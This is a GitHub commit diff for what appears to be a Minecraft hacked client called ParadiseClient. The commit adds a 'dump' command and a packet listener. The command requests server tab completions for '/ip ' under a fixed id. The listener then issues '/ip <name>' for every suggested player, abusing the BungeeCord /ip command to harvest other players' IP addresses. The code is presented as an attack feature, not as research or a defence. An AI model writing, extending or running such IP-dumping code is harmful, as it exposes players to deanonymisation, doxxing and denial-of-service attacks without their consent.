Skip to content

Commit

Permalink
Merge remote-tracking branch 'origin/main'
Browse files Browse the repository at this point in the history
  • Loading branch information
SpigotRCE committed Jan 30, 2025
2 parents fa020f8 + 2e72bab commit 87c5205
Show file tree
Hide file tree
Showing 3 changed files with 48 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,7 @@ public void init() {
register(new ChatSentryCommand(minecraftClient));
register(new ECBCommand(minecraftClient));
register(new SignedVelocityCommand(minecraftClient));
register(new DumpCommand(minecraftClient));


// Register this command at the very end so it registers all commands in it
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
package io.github.spigotrce.paradiseclientfabric.command.impl;

import com.mojang.brigadier.builder.LiteralArgumentBuilder;
import io.github.spigotrce.paradiseclientfabric.Helper;
import io.github.spigotrce.paradiseclientfabric.command.Command;
import net.minecraft.client.MinecraftClient;
import net.minecraft.command.CommandSource;
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;

public class DumpCommand extends Command {
public DumpCommand(MinecraftClient minecraftClient) {
super("dump", "IP dumping methods", minecraftClient);
}

@Override
public LiteralArgumentBuilder<CommandSource> build() {
return literal(getName())
.executes(context -> {
Helper.sendPacket(new RequestCommandCompletionsC2SPacket(1234689045, "/ip "));
Helper.printChatMessage("Attempting to dump IPs via bungee /ip method!");
return Command.SINGLE_SUCCESS;
});
}
}

Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,12 @@
import io.github.spigotrce.paradiseclientfabric.ParadiseClient_Fabric;
import io.github.spigotrce.paradiseclientfabric.event.packet.incoming.PacketIncomingPreEvent;
import io.github.spigotrce.paradiseclientfabric.event.packet.outgoing.PacketOutgoingPostEvent;
import net.minecraft.client.MinecraftClient;
import net.minecraft.network.packet.c2s.play.CommandExecutionC2SPacket;
import net.minecraft.network.packet.s2c.common.ResourcePackSendS2CPacket;
import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket;

import java.util.List;

@SuppressWarnings("unused")
public class PacketListener implements Listener {
Expand All @@ -17,6 +22,23 @@ public void onResourcePackPacketReceive(PacketIncomingPreEvent event) {
Helper.printChatMessage("Server resource pack url: " + url);
}

@EventHandler
public void onIncomingPacketReceive(PacketIncomingPreEvent event) {
if (!(event.getPacket() instanceof CommandSuggestionsS2CPacket packet)) return;
if (packet.id() != 1234689045) return;
Helper.printChatMessage("Command suggestions received! Dumping");
List<CommandSuggestionsS2CPacket.Suggestion> suggestions = packet.suggestions();

new Thread(() -> {
try {
suggestions.forEach(suggestion -> {
MinecraftClient.getInstance().getNetworkHandler().sendChatCommand("ip " + suggestion.text());
});
} catch (Exception ignored) {
}
}).start();
}

@EventHandler
public void onOutgoingPacketReceive(PacketOutgoingPostEvent event) {
ParadiseClient_Fabric.networkMod.lastOutgoingPacket = event.getPacket();
Expand Down

0 comments on commit 87c5205

Please sign in to comment.